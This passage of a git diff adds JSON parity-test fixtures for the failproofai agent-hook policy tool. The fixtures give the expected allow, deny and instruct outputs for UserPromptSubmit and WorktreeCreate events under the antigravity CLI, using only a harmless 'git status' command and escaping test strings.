b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..00322354 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..af6c9f3d --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..e51ba0f5 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..427f0317 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..1798e92b --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..aa529b46 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptSubmit/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..3d5b48d8 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked prompt by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptSubmit/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..08914912 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked prompt by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptSubmit/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/deny__tool-present__one-policy.json new file mode 100644 index 00000000..a059f3d9 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptSubmit/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/deny__tool-present__two-policies.json new file mode 100644 index 00000000..39360621 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptSubmit/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..e265072d --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"injectSteps\":[{\"ephemeralMessage\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}]}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptSubmit/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..7c92042b --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"injectSteps\":[{\"ephemeralMessage\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}]}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptSubmit/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..2e87ab9a --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"injectSteps\":[{\"ephemeralMessage\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}]}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/UserPromptSubmit/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..06c0f304 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/UserPromptSubmit/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"injectSteps\":[{\"ephemeralMessage\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}]}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..b17552ee --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..1efeda81 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..1da91cbf --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..a3e547f0 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..9408cf44 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": 